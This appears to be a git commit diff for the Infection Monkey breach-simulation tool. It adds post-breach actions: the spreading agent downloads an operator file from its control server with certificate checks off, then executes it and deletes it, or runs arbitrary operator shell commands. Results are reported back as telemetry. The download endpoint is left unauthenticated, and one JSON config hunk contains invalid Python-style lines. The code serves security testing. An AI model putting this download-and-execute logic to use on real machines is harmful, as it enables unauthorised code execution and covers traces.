forked from p34709852/monkey
Merge pull request #274 from VakarisZ/post_exploitation
Post exploitation
This commit is contained in:
commit
287f0ee6e3
|
@ -68,3 +68,6 @@ bin
|
||||||
/monkey/monkey_island/cc/server.crt
|
/monkey/monkey_island/cc/server.crt
|
||||||
/monkey/monkey_island/cc/server.csr
|
/monkey/monkey_island/cc/server.csr
|
||||||
/monkey/monkey_island/cc/ui/node_modules/
|
/monkey/monkey_island/cc/ui/node_modules/
|
||||||
|
|
||||||
|
# User files
|
||||||
|
/monkey/monkey_island/cc/userUploads
|
||||||
|
|
|
@ -271,6 +271,10 @@ class Configuration(object):
|
||||||
extract_azure_creds = True
|
extract_azure_creds = True
|
||||||
|
|
||||||
post_breach_actions = []
|
post_breach_actions = []
|
||||||
|
custom_PBA_linux_cmd = ""
|
||||||
|
custom_PBA_windows_cmd = ""
|
||||||
|
PBA_linux_filename = None
|
||||||
|
PBA_windows_filename = None
|
||||||
|
|
||||||
|
|
||||||
WormConfiguration = Configuration()
|
WormConfiguration = Configuration()
|
||||||
|
|
|
@ -101,4 +101,8 @@
|
||||||
"victims_max_exploit": 7,
|
"victims_max_exploit": 7,
|
||||||
"victims_max_find": 30,
|
"victims_max_find": 30,
|
||||||
"post_breach_actions" : []
|
"post_breach_actions" : []
|
||||||
|
custom_PBA_linux_cmd = ""
|
||||||
|
custom_PBA_windows_cmd = ""
|
||||||
|
PBA_linux_filename = None
|
||||||
|
PBA_windows_filename = None
|
||||||
}
|
}
|
||||||
|
|
|
@ -16,6 +16,7 @@ from infection_monkey.network.network_scanner import NetworkScanner
|
||||||
from infection_monkey.system_info import SystemInfoCollector
|
from infection_monkey.system_info import SystemInfoCollector
|
||||||
from infection_monkey.system_singleton import SystemSingleton
|
from infection_monkey.system_singleton import SystemSingleton
|
||||||
from infection_monkey.windows_upgrader import WindowsUpgrader
|
from infection_monkey.windows_upgrader import WindowsUpgrader
|
||||||
|
from infection_monkey.post_breach.post_breach_handler import PostBreach
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
||||||
|
@ -116,6 +117,8 @@ class InfectionMonkey(object):
|
||||||
action = action_class()
|
action = action_class()
|
||||||
action.act()
|
action.act()
|
||||||
|
|
||||||
|
PostBreach().execute()
|
||||||
|
|
||||||
if 0 == WormConfiguration.depth:
|
if 0 == WormConfiguration.depth:
|
||||||
LOG.debug("Reached max depth, shutting down")
|
LOG.debug("Reached max depth, shutting down")
|
||||||
ControlClient.send_telemetry("trace", "Reached max depth, shutting down")
|
ControlClient.send_telemetry("trace", "Reached max depth, shutting down")
|
||||||
|
|
|
@ -0,0 +1,68 @@
|
||||||
|
from infection_monkey.post_breach.pba import PBA
|
||||||
|
from infection_monkey.control import ControlClient
|
||||||
|
from infection_monkey.config import WormConfiguration
|
||||||
|
from infection_monkey.utils import get_monkey_dir_path
|
||||||
|
import requests
|
||||||
|
import os
|
||||||
|
import logging
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
__author__ = 'VakarisZ'
|
||||||
|
|
||||||
|
# Default commands for executing PBA file and then removing it
|
||||||
|
DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}"
|
||||||
|
DEFAULT_WINDOWS_COMMAND = "{0} & del {0}"
|
||||||
|
|
||||||
|
|
||||||
|
class FileExecution(PBA):
|
||||||
|
"""
|
||||||
|
Defines user's file execution post breach action.
|
||||||
|
"""
|
||||||
|
def __init__(self, linux_command="", windows_command=""):
|
||||||
|
self.linux_filename = WormConfiguration.PBA_linux_filename
|
||||||
|
self.windows_filename = WormConfiguration.PBA_windows_filename
|
||||||
|
super(FileExecution, self).__init__("File execution", linux_command, windows_command)
|
||||||
|
|
||||||
|
def _execute_linux(self):
|
||||||
|
FileExecution.download_PBA_file(get_monkey_dir_path(), self.linux_filename)
|
||||||
|
return super(FileExecution, self)._execute_linux()
|
||||||
|
|
||||||
|
def _execute_win(self):
|
||||||
|
FileExecution.download_PBA_file(get_monkey_dir_path(), self.windows_filename)
|
||||||
|
return super(FileExecution, self)._execute_win()
|
||||||
|
|
||||||
|
def add_default_command(self, is_linux):
|
||||||
|
"""
|
||||||
|
Replaces current (likely empty) command with default file execution command (that changes permissions, executes
|
||||||
|
and finally deletes post breach file).
|
||||||
|
Default commands are defined as globals in this module.
|
||||||
|
:param is_linux: Boolean that indicates for which OS the command is being set.
|
||||||
|
"""
|
||||||
|
if is_linux:
|
||||||
|
file_path = os.path.join(get_monkey_dir_path(), self.linux_filename)
|
||||||
|
self.linux_command = DEFAULT_LINUX_COMMAND.format(file_path)
|
||||||
|
else:
|
||||||
|
file_path = os.path.join(get_monkey_dir_path(), self.windows_filename)
|
||||||
|
self.windows_command = DEFAULT_WINDOWS_COMMAND.format(file_path)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def download_PBA_file(dst_dir, filename):
|
||||||
|
"""
|
||||||
|
Handles post breach action file download
|
||||||
|
:param dst_dir: Destination directory
|
||||||
|
:param filename: Filename
|
||||||
|
:return: True if successful, false otherwise
|
||||||
|
"""
|
||||||
|
|
||||||
|
PBA_file_contents = requests.get("https://%s/api/pba/download/%s" %
|
||||||
|
(WormConfiguration.current_server, filename),
|
||||||
|
verify=False,
|
||||||
|
proxies=ControlClient.proxies)
|
||||||
|
try:
|
||||||
|
with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
|
||||||
|
written_PBA_file.write(PBA_file_contents.content)
|
||||||
|
return True
|
||||||
|
except IOError as e:
|
||||||
|
LOG.error("Can not download post breach file to target machine, because %s" % e)
|
||||||
|
return False
|
|
@ -0,0 +1,68 @@
|
||||||
|
import logging
|
||||||
|
from infection_monkey.control import ControlClient
|
||||||
|
import subprocess
|
||||||
|
import socket
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
__author__ = 'VakarisZ'
|
||||||
|
|
||||||
|
|
||||||
|
class PBA(object):
|
||||||
|
"""
|
||||||
|
Post breach action object. Can be extended to support more than command execution on target machine.
|
||||||
|
"""
|
||||||
|
def __init__(self, name="unknown", linux_command="", windows_command=""):
|
||||||
|
"""
|
||||||
|
:param name: Name of post breach action.
|
||||||
|
:param linux_command: Command that will be executed on linux machine
|
||||||
|
:param windows_command: Command that will be executed on windows machine
|
||||||
|
"""
|
||||||
|
self.linux_command = linux_command
|
||||||
|
self.windows_command = windows_command
|
||||||
|
self.name = name
|
||||||
|
|
||||||
|
def run(self, is_linux):
|
||||||
|
"""
|
||||||
|
Runs post breach action command
|
||||||
|
:param is_linux: boolean that indicates on which os monkey is running
|
||||||
|
"""
|
||||||
|
if is_linux:
|
||||||
|
command = self.linux_command
|
||||||
|
exec_funct = self._execute_linux
|
||||||
|
else:
|
||||||
|
command = self.windows_command
|
||||||
|
exec_funct = self._execute_win
|
||||||
|
if command:
|
||||||
|
hostname = socket.gethostname()
|
||||||
|
ControlClient.send_telemetry('post_breach', {'command': command,
|
||||||
|
'result': exec_funct(),
|
||||||
|
'name': self.name,
|
||||||
|
'hostname': hostname,
|
||||||
|
'ip': socket.gethostbyname(hostname)
|
||||||
|
})
|
||||||
|
|
||||||
|
def _execute_linux(self):
|
||||||
|
"""
|
||||||
|
Default linux PBA execution function. Override it if additional functionality is needed
|
||||||
|
"""
|
||||||
|
return self._execute_default(self.linux_command)
|
||||||
|
|
||||||
|
def _execute_win(self):
|
||||||
|
"""
|
||||||
|
Default linux PBA execution function. Override it if additional functionality is needed
|
||||||
|
"""
|
||||||
|
return self._execute_default(self.windows_command)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _execute_default(command):
|
||||||
|
"""
|
||||||
|
Default post breach command execution routine
|
||||||
|
:param command: What command to execute
|
||||||
|
:return: Tuple of command's output string and boolean, indicating if it succeeded
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
return subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True), True
|
||||||
|
except subprocess.CalledProcessError as e:
|
||||||
|
# Return error output of the command
|
||||||
|
return e.output, False
|
|
@ -0,0 +1,83 @@
|
||||||
|
import logging
|
||||||
|
import infection_monkey.config
|
||||||
|
from file_execution import FileExecution
|
||||||
|
from pba import PBA
|
||||||
|
from infection_monkey.utils import is_windows_os
|
||||||
|
from infection_monkey.utils import get_monkey_dir_path
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
__author__ = 'VakarisZ'
|
||||||
|
|
||||||
|
DIR_CHANGE_WINDOWS = 'cd %s & '
|
||||||
|
DIR_CHANGE_LINUX = 'cd %s ; '
|
||||||
|
|
||||||
|
|
||||||
|
class PostBreach(object):
|
||||||
|
"""
|
||||||
|
This class handles post breach actions execution
|
||||||
|
"""
|
||||||
|
def __init__(self):
|
||||||
|
self.os_is_linux = not is_windows_os()
|
||||||
|
self.pba_list = self.config_to_pba_list(infection_monkey.config.WormConfiguration)
|
||||||
|
|
||||||
|
def execute(self):
|
||||||
|
"""
|
||||||
|
Executes all post breach actions.
|
||||||
|
"""
|
||||||
|
for pba in self.pba_list:
|
||||||
|
pba.run(self.os_is_linux)
|
||||||
|
LOG.info("Post breach actions executed")
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def config_to_pba_list(config):
|
||||||
|
"""
|
||||||
|
Returns a list of PBA objects generated from config.
|
||||||
|
:param config: Monkey configuration
|
||||||
|
:return: A list of PBA objects.
|
||||||
|
"""
|
||||||
|
pba_list = []
|
||||||
|
pba_list.extend(PostBreach.get_custom_PBA(config))
|
||||||
|
|
||||||
|
return pba_list
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_custom_PBA(config):
|
||||||
|
"""
|
||||||
|
Creates post breach actions depending on users input into 'custom post breach' config section
|
||||||
|
:param config: monkey's configuration
|
||||||
|
:return: List of PBA objects ([user's file execution PBA, user's command execution PBA])
|
||||||
|
"""
|
||||||
|
custom_list = []
|
||||||
|
file_pba = FileExecution()
|
||||||
|
command_pba = PBA(name="Custom")
|
||||||
|
|
||||||
|
if not is_windows_os():
|
||||||
|
# Add linux commands to PBA's
|
||||||
|
if config.PBA_linux_filename:
|
||||||
|
if config.custom_PBA_linux_cmd:
|
||||||
|
# Add change dir command, because user will try to access his file
|
||||||
|
file_pba.linux_command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + config.custom_PBA_linux_cmd
|
||||||
|
else:
|
||||||
|
file_pba.add_default_command(is_linux=True)
|
||||||
|
elif config.custom_PBA_linux_cmd:
|
||||||
|
command_pba.linux_command = config.custom_PBA_linux_cmd
|
||||||
|
else:
|
||||||
|
# Add windows commands to PBA's
|
||||||
|
if config.PBA_windows_filename:
|
||||||
|
if config.custom_PBA_windows_cmd:
|
||||||
|
# Add change dir command, because user will try to access his file
|
||||||
|
file_pba.windows_command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + \
|
||||||
|
config.custom_PBA_windows_cmd
|
||||||
|
else:
|
||||||
|
file_pba.add_default_command(is_linux=False)
|
||||||
|
elif config.custom_PBA_windows_cmd:
|
||||||
|
command_pba.windows_command = config.custom_PBA_windows_cmd
|
||||||
|
|
||||||
|
# Add PBA's to list
|
||||||
|
if file_pba.linux_command or file_pba.windows_command:
|
||||||
|
custom_list.append(file_pba)
|
||||||
|
if command_pba.windows_command or command_pba.linux_command:
|
||||||
|
custom_list.append(command_pba)
|
||||||
|
|
||||||
|
return custom_list
|
|
@ -27,7 +27,9 @@ from cc.resources.report import Report
|
||||||
from cc.resources.root import Root
|
from cc.resources.root import Root
|
||||||
from cc.resources.telemetry import Telemetry
|
from cc.resources.telemetry import Telemetry
|
||||||
from cc.resources.telemetry_feed import TelemetryFeed
|
from cc.resources.telemetry_feed import TelemetryFeed
|
||||||
|
from cc.resources.pba_file_download import PBAFileDownload
|
||||||
from cc.services.config import ConfigService
|
from cc.services.config import ConfigService
|
||||||
|
from cc.resources.pba_file_upload import FileUpload
|
||||||
|
|
||||||
__author__ = 'Barak'
|
__author__ = 'Barak'
|
||||||
|
|
||||||
|
@ -116,6 +118,10 @@ def init_app(mongo_url):
|
||||||
api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/')
|
api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/')
|
||||||
api.add_resource(Log, '/api/log', '/api/log/')
|
api.add_resource(Log, '/api/log', '/api/log/')
|
||||||
api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/')
|
api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/')
|
||||||
|
api.add_resource(PBAFileDownload, '/api/pba/download/<string:path>')
|
||||||
|
api.add_resource(FileUpload, '/api/fileUpload/<string:file_type>',
|
||||||
|
'/api/fileUpload/<string:file_type>?load=<string:filename>',
|
||||||
|
'/api/fileUpload/<string:file_type>?restore=<string:filename>')
|
||||||
api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/')
|
api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/')
|
||||||
|
|
||||||
return app
|
return app
|
||||||
|
|
|
@ -0,0 +1,14 @@
|
||||||
|
import flask_restful
|
||||||
|
from flask import send_from_directory
|
||||||
|
from cc.resources.pba_file_upload import GET_FILE_DIR
|
||||||
|
|
||||||
|
__author__ = 'VakarisZ'
|
||||||
|
|
||||||
|
|
||||||
|
class PBAFileDownload(flask_restful.Resource):
|
||||||
|
"""
|
||||||
|
File download endpoint used by monkey to download user's PBA file
|
||||||
|
"""
|
||||||
|
# Used by monkey. can't secure.
|
||||||
|
def get(self, path):
|
||||||
|
return send_from_directory(GET_FILE_DIR, path)
|
|
@ -0,0 +1,83 @@
|
||||||
|
import flask_restful
|
||||||
|
from flask import request, send_from_directory, Response
|
||||||
|
from cc.services.config import ConfigService
|
||||||
|
from cc.services.post_breach_files import PBA_WINDOWS_FILENAME_PATH, PBA_LINUX_FILENAME_PATH, UPLOADS_DIR
|
||||||
|
from cc.auth import jwt_required
|
||||||
|
import os
|
||||||
|
from werkzeug.utils import secure_filename
|
||||||
|
import logging
|
||||||
|
import copy
|
||||||
|
|
||||||
|
__author__ = 'VakarisZ'
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
GET_FILE_DIR = "./userUploads"
|
||||||
|
# Front end uses these strings to identify which files to work with (linux of windows)
|
||||||
|
LINUX_PBA_TYPE = 'PBAlinux'
|
||||||
|
WINDOWS_PBA_TYPE = 'PBAwindows'
|
||||||
|
|
||||||
|
|
||||||
|
class FileUpload(flask_restful.Resource):
|
||||||
|
"""
|
||||||
|
File upload endpoint used to exchange files with filepond component on the front-end
|
||||||
|
"""
|
||||||
|
@jwt_required()
|
||||||
|
def get(self, file_type):
|
||||||
|
"""
|
||||||
|
Sends file to filepond
|
||||||
|
:param file_type: Type indicates which file to send, linux or windows
|
||||||
|
:return: Returns file contents
|
||||||
|
"""
|
||||||
|
# Verify that file_name is indeed a file from config
|
||||||
|
if file_type == LINUX_PBA_TYPE:
|
||||||
|
filename = ConfigService.get_config_value(copy.deepcopy(PBA_LINUX_FILENAME_PATH))
|
||||||
|
else:
|
||||||
|
filename = ConfigService.get_config_value(copy.deepcopy(PBA_WINDOWS_FILENAME_PATH))
|
||||||
|
return send_from_directory(GET_FILE_DIR, filename)
|
||||||
|
|
||||||
|
@jwt_required()
|
||||||
|
def post(self, file_type):
|
||||||
|
"""
|
||||||
|
Receives user's uploaded file from filepond
|
||||||
|
:param file_type: Type indicates which file was received, linux or windows
|
||||||
|
:return: Returns flask response object with uploaded file's filename
|
||||||
|
"""
|
||||||
|
filename = FileUpload.upload_pba_file(request, (file_type == LINUX_PBA_TYPE))
|
||||||
|
|
||||||
|
response = Response(
|
||||||
|
response=filename,
|
||||||
|
status=200, mimetype='text/plain')
|
||||||
|
return response
|
||||||
|
|
||||||
|
@jwt_required()
|
||||||
|
def delete(self, file_type):
|
||||||
|
"""
|
||||||
|
Deletes file that has been deleted on the front end
|
||||||
|
:param file_type: Type indicates which file was deleted, linux of windows
|
||||||
|
:return: Empty response
|
||||||
|
"""
|
||||||
|
filename_path = PBA_LINUX_FILENAME_PATH if file_type == 'PBAlinux' else PBA_WINDOWS_FILENAME_PATH
|
||||||
|
filename = ConfigService.get_config_value(filename_path)
|
||||||
|
file_path = os.path.join(UPLOADS_DIR, filename)
|
||||||
|
try:
|
||||||
|
if os.path.exists(file_path):
|
||||||
|
os.remove(file_path)
|
||||||
|
ConfigService.set_config_value(filename_path, '')
|
||||||
|
except OSError as e:
|
||||||
|
LOG.error("Can't remove previously uploaded post breach files: %s" % e)
|
||||||
|
|
||||||
|
return {}
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def upload_pba_file(request_, is_linux=True):
|
||||||
|
"""
|
||||||
|
Uploads PBA file to island's file system
|
||||||
|
:param request_: Request object containing PBA file
|
||||||
|
:param is_linux: Boolean indicating if this file is for windows or for linux
|
||||||
|
:return: filename string
|
||||||
|
"""
|
||||||
|
filename = secure_filename(request_.files['filepond'].filename)
|
||||||
|
file_path = os.path.join(UPLOADS_DIR, filename)
|
||||||
|
request_.files['filepond'].save(file_path)
|
||||||
|
ConfigService.set_config_value((PBA_LINUX_FILENAME_PATH if is_linux else PBA_WINDOWS_FILENAME_PATH), filename)
|
||||||
|
return filename
|
|
@ -10,6 +10,7 @@ from cc.services.config import ConfigService
|
||||||
from cc.services.node import NodeService
|
from cc.services.node import NodeService
|
||||||
from cc.services.report import ReportService
|
from cc.services.report import ReportService
|
||||||
from cc.utils import local_ip_addresses
|
from cc.utils import local_ip_addresses
|
||||||
|
from cc.services.post_breach_files import remove_PBA_files
|
||||||
|
|
||||||
__author__ = 'Barak'
|
__author__ = 'Barak'
|
||||||
|
|
||||||
|
@ -42,6 +43,7 @@ class Root(flask_restful.Resource):
|
||||||
@staticmethod
|
@staticmethod
|
||||||
@jwt_required()
|
@jwt_required()
|
||||||
def reset_db():
|
def reset_db():
|
||||||
|
remove_PBA_files()
|
||||||
# We can't drop system collections.
|
# We can't drop system collections.
|
||||||
[mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')]
|
[mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')]
|
||||||
ConfigService.init_config()
|
ConfigService.init_config()
|
||||||
|
|
|
@ -257,6 +257,11 @@ class Telemetry(flask_restful.Resource):
|
||||||
if len(credential) > 0:
|
if len(credential) > 0:
|
||||||
attempts[i][field] = encryptor.enc(credential.encode('utf-8'))
|
attempts[i][field] = encryptor.enc(credential.encode('utf-8'))
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def process_post_breach_telemetry(telemetry_json):
|
||||||
|
mongo.db.monkey.update(
|
||||||
|
{'guid': telemetry_json['monkey_guid']},
|
||||||
|
{'$push': {'pba_results': telemetry_json['data']}})
|
||||||
|
|
||||||
TELEM_PROCESS_DICT = \
|
TELEM_PROCESS_DICT = \
|
||||||
{
|
{
|
||||||
|
@ -265,5 +270,6 @@ TELEM_PROCESS_DICT = \
|
||||||
'exploit': Telemetry.process_exploit_telemetry,
|
'exploit': Telemetry.process_exploit_telemetry,
|
||||||
'scan': Telemetry.process_scan_telemetry,
|
'scan': Telemetry.process_scan_telemetry,
|
||||||
'system_info_collection': Telemetry.process_system_info_telemetry,
|
'system_info_collection': Telemetry.process_system_info_telemetry,
|
||||||
'trace': Telemetry.process_trace_telemetry
|
'trace': Telemetry.process_trace_telemetry,
|
||||||
|
'post_breach': Telemetry.process_post_breach_telemetry
|
||||||
}
|
}
|
||||||
|
|
|
@ -80,6 +80,12 @@ class TelemetryFeed(flask_restful.Resource):
|
||||||
def get_trace_telem_brief(telem):
|
def get_trace_telem_brief(telem):
|
||||||
return 'Monkey reached max depth.'
|
return 'Monkey reached max depth.'
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_post_breach_telem_brief(telem):
|
||||||
|
return '%s post breach action executed on %s (%s) machine' % (telem['data']['name'],
|
||||||
|
telem['data']['hostname'],
|
||||||
|
telem['data']['ip'])
|
||||||
|
|
||||||
|
|
||||||
TELEM_PROCESS_DICT = \
|
TELEM_PROCESS_DICT = \
|
||||||
{
|
{
|
||||||
|
@ -88,5 +94,6 @@ TELEM_PROCESS_DICT = \
|
||||||
'exploit': TelemetryFeed.get_exploit_telem_brief,
|
'exploit': TelemetryFeed.get_exploit_telem_brief,
|
||||||
'scan': TelemetryFeed.get_scan_telem_brief,
|
'scan': TelemetryFeed.get_scan_telem_brief,
|
||||||
'system_info_collection': TelemetryFeed.get_systeminfo_telem_brief,
|
'system_info_collection': TelemetryFeed.get_systeminfo_telem_brief,
|
||||||
'trace': TelemetryFeed.get_trace_telem_brief
|
'trace': TelemetryFeed.get_trace_telem_brief,
|
||||||
|
'post_breach': TelemetryFeed.get_post_breach_telem_brief
|
||||||
}
|
}
|
||||||
|
|
|
@ -4,6 +4,7 @@ import functools
|
||||||
import logging
|
import logging
|
||||||
from jsonschema import Draft4Validator, validators
|
from jsonschema import Draft4Validator, validators
|
||||||
from six import string_types
|
from six import string_types
|
||||||
|
import cc.services.post_breach_files
|
||||||
|
|
||||||
from cc.database import mongo
|
from cc.database import mongo
|
||||||
from cc.encryptor import encryptor
|
from cc.encryptor import encryptor
|
||||||
|
@ -79,6 +80,12 @@ class ConfigService:
|
||||||
config = encryptor.dec(config)
|
config = encryptor.dec(config)
|
||||||
return config
|
return config
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def set_config_value(config_key_as_arr, value):
|
||||||
|
mongo_key = ".".join(config_key_as_arr)
|
||||||
|
mongo.db.config.update({'name': 'newconfig'},
|
||||||
|
{"$set": {mongo_key: value}})
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_flat_config(is_initial_config=False, should_decrypt=True):
|
def get_flat_config(is_initial_config=False, should_decrypt=True):
|
||||||
config_json = ConfigService.get_config(is_initial_config, should_decrypt)
|
config_json = ConfigService.get_config(is_initial_config, should_decrypt)
|
||||||
|
@ -138,6 +145,8 @@ class ConfigService:
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def update_config(config_json, should_encrypt):
|
def update_config(config_json, should_encrypt):
|
||||||
|
# PBA file upload happens on pba_file_upload endpoint and corresponding config options are set there
|
||||||
|
cc.services.post_breach_files.set_config_PBA_files(config_json)
|
||||||
if should_encrypt:
|
if should_encrypt:
|
||||||
try:
|
try:
|
||||||
ConfigService.encrypt_config(config_json)
|
ConfigService.encrypt_config(config_json)
|
||||||
|
@ -173,6 +182,7 @@ class ConfigService:
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def reset_config():
|
def reset_config():
|
||||||
|
cc.services.post_breach_files.remove_PBA_files()
|
||||||
config = ConfigService.get_default_config(True)
|
config = ConfigService.get_default_config(True)
|
||||||
ConfigService.set_server_ips_in_config(config)
|
ConfigService.set_server_ips_in_config(config)
|
||||||
ConfigService.update_config(config, should_encrypt=False)
|
ConfigService.update_config(config, should_encrypt=False)
|
||||||
|
|
|
@ -313,6 +313,46 @@ SCHEMA = {
|
||||||
"title": "Behaviour",
|
"title": "Behaviour",
|
||||||
"type": "object",
|
"type": "object",
|
||||||
"properties": {
|
"properties": {
|
||||||
|
"custom_PBA_linux_cmd": {
|
||||||
|
"title": "Linux post breach command",
|
||||||
|
"type": "string",
|
||||||
|
"default": "",
|
||||||
|
"description": "Linux command to be executed after breaching."
|
||||||
|
},
|
||||||
|
"PBA_linux_file": {
|
||||||
|
"title": "Linux post breach file",
|
||||||
|
"type": "string",
|
||||||
|
"format": "data-url",
|
||||||
|
"description": "File to be executed after breaching. "
|
||||||
|
"If you want custom execution behavior, "
|
||||||
|
"specify it in 'Linux post breach command' field. "
|
||||||
|
"Reference your file by filename."
|
||||||
|
},
|
||||||
|
"custom_PBA_windows_cmd": {
|
||||||
|
"title": "Windows post breach command",
|
||||||
|
"type": "string",
|
||||||
|
"default": "",
|
||||||
|
"description": "Windows command to be executed after breaching."
|
||||||
|
},
|
||||||
|
"PBA_windows_file": {
|
||||||
|
"title": "Windows post breach file",
|
||||||
|
"type": "string",
|
||||||
|
"format": "data-url",
|
||||||
|
"description": "File to be executed after breaching. "
|
||||||
|
"If you want custom execution behavior, "
|
||||||
|
"specify it in 'Windows post breach command' field. "
|
||||||
|
"Reference your file by filename."
|
||||||
|
},
|
||||||
|
"PBA_windows_filename": {
|
||||||
|
"title": "Windows PBA filename",
|
||||||
|
"type": "string",
|
||||||
|
"default": ""
|
||||||
|
},
|
||||||
|
"PBA_linux_filename": {
|
||||||
|
"title": "Linux PBA filename",
|
||||||
|
"type": "string",
|
||||||
|
"default": ""
|
||||||
|
},
|
||||||
"self_delete_in_cleanup": {
|
"self_delete_in_cleanup": {
|
||||||
"title": "Self delete on cleanup",
|
"title": "Self delete on cleanup",
|
||||||
"type": "boolean",
|
"type": "boolean",
|
||||||
|
|
|
@ -142,7 +142,8 @@ class NodeService:
|
||||||
"group": NodeService.get_monkey_group(monkey),
|
"group": NodeService.get_monkey_group(monkey),
|
||||||
"os": NodeService.get_monkey_os(monkey),
|
"os": NodeService.get_monkey_os(monkey),
|
||||||
"dead": monkey["dead"],
|
"dead": monkey["dead"],
|
||||||
"domain_name": ""
|
"domain_name": "",
|
||||||
|
"pba_results": monkey["pba_results"] if "pba_results" in monkey else []
|
||||||
}
|
}
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
|
|
@ -0,0 +1,43 @@
|
||||||
|
import cc.services.config
|
||||||
|
import logging
|
||||||
|
import os
|
||||||
|
|
||||||
|
__author__ = "VakarisZ"
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
# Where to find file names in config
|
||||||
|
PBA_WINDOWS_FILENAME_PATH = ['monkey', 'behaviour', 'PBA_windows_filename']
|
||||||
|
PBA_LINUX_FILENAME_PATH = ['monkey', 'behaviour', 'PBA_linux_filename']
|
||||||
|
UPLOADS_DIR = 'monkey_island/cc/userUploads'
|
||||||
|
|
||||||
|
|
||||||
|
def remove_PBA_files():
|
||||||
|
if cc.services.config.ConfigService.get_config():
|
||||||
|
windows_filename = cc.services.config.ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH)
|
||||||
|
linux_filename = cc.services.config.ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH)
|
||||||
|
if linux_filename:
|
||||||
|
remove_file(linux_filename)
|
||||||
|
if windows_filename:
|
||||||
|
remove_file(windows_filename)
|
||||||
|
|
||||||
|
|
||||||
|
def remove_file(file_name):
|
||||||
|
file_path = os.path.join(UPLOADS_DIR, file_name)
|
||||||
|
try:
|
||||||
|
if os.path.exists(file_path):
|
||||||
|
os.remove(file_path)
|
||||||
|
except OSError as e:
|
||||||
|
logger.error("Can't remove previously uploaded post breach files: %s" % e)
|
||||||
|
|
||||||
|
|
||||||
|
def set_config_PBA_files(config_json):
|
||||||
|
"""
|
||||||
|
Sets PBA file info in config_json to current config's PBA file info values.
|
||||||
|
:param config_json: config_json that will be modified
|
||||||
|
"""
|
||||||
|
if cc.services.config.ConfigService.get_config():
|
||||||
|
linux_filename = cc.services.config.ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH)
|
||||||
|
windows_filename = cc.services.config.ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH)
|
||||||
|
config_json['monkey']['behaviour']['PBA_linux_filename'] = linux_filename
|
||||||
|
config_json['monkey']['behaviour']['PBA_windows_filename'] = windows_filename
|
|
@ -132,7 +132,8 @@ class ReportService:
|
||||||
(NodeService.get_displayed_node_by_id(edge['from'], True)
|
(NodeService.get_displayed_node_by_id(edge['from'], True)
|
||||||
for edge in EdgeService.get_displayed_edges_by_to(node['id'], True)))),
|
for edge in EdgeService.get_displayed_edges_by_to(node['id'], True)))),
|
||||||
'services': node['services'],
|
'services': node['services'],
|
||||||
'domain_name': node['domain_name']
|
'domain_name': node['domain_name'],
|
||||||
|
'pba_results': node['pba_results'] if 'pba_results' in node else 'None'
|
||||||
})
|
})
|
||||||
|
|
||||||
logger.info('Scanned nodes generated for reporting')
|
logger.info('Scanned nodes generated for reporting')
|
||||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -68,6 +68,7 @@
|
||||||
"core-js": "^2.5.7",
|
"core-js": "^2.5.7",
|
||||||
"downloadjs": "^1.4.7",
|
"downloadjs": "^1.4.7",
|
||||||
"fetch": "^1.1.0",
|
"fetch": "^1.1.0",
|
||||||
|
"filepond": "^4.2.0",
|
||||||
"js-file-download": "^0.4.4",
|
"js-file-download": "^0.4.4",
|
||||||
"json-loader": "^0.5.7",
|
"json-loader": "^0.5.7",
|
||||||
"jwt-decode": "^2.2.0",
|
"jwt-decode": "^2.2.0",
|
||||||
|
@ -83,6 +84,7 @@
|
||||||
"react-dimensions": "^1.3.0",
|
"react-dimensions": "^1.3.0",
|
||||||
"react-dom": "^16.5.2",
|
"react-dom": "^16.5.2",
|
||||||
"react-fa": "^5.0.0",
|
"react-fa": "^5.0.0",
|
||||||
|
"react-filepond": "^7.0.1",
|
||||||
"react-graph-vis": "^1.0.2",
|
"react-graph-vis": "^1.0.2",
|
||||||
"react-json-tree": "^0.11.0",
|
"react-json-tree": "^0.11.0",
|
||||||
"react-jsonschema-form": "^1.0.5",
|
"react-jsonschema-form": "^1.0.5",
|
||||||
|
|
|
@ -6,6 +6,7 @@ class AuthComponent extends React.Component {
|
||||||
super(props);
|
super(props);
|
||||||
this.auth = new AuthService();
|
this.auth = new AuthService();
|
||||||
this.authFetch = this.auth.authFetch;
|
this.authFetch = this.auth.authFetch;
|
||||||
|
this.jwtHeader = this.auth.jwtHeader();
|
||||||
}
